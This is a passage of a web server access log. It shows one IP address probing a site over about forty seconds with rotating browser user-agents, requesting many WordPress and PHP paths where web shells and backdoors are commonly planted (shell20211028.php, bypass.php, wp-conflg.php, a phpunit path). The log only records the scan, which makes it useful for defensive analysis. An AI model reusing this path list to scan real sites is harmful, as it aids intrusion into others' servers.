Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:03 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:03 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:04 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:04 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:02:04 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:05 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:05 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:05 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:06 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:06 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:02:06 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:07 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:02:07 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:07 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:08 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:08 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:09 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:09 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:09 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:10 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:10 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:10 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:11 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:11 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:11 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:12 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:12 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:12 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:12 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:13 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:13 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:02:13 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:14 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:14 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:14 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:15 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:15 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:02:15 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:02:16 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:16 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:16 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:17 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:17 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:17 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:18 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:18 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:18 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:19 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:02:19 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:19 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:20 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:02:20 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:20 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:21 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:21 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:02:21 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:22 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:22 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:22 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:23 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:02:23 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:02:23 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:23 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:02:24 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:02:24 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:25 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:25 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:25 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:02:26 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:02:26 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:26 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:27 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:02:27 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:27 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:28 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:28 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:02:28 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:02:28 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:29 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:29 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:02:29 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:30 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:30 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:30 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:02:31 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:31 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:02:31 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:02:32 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:32 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:33 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:02:33 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:33 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:34 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:35 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.137.126.96 - - [05/Feb/2026:07:02:35 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:02:35 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:36 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:36 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:36 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:37 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:37 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:02:38 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:02:38 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:38 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:02:39 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:39 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:39 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:39 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:40 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:40 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:40 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:41 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:41 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:41 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:42 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:02:42 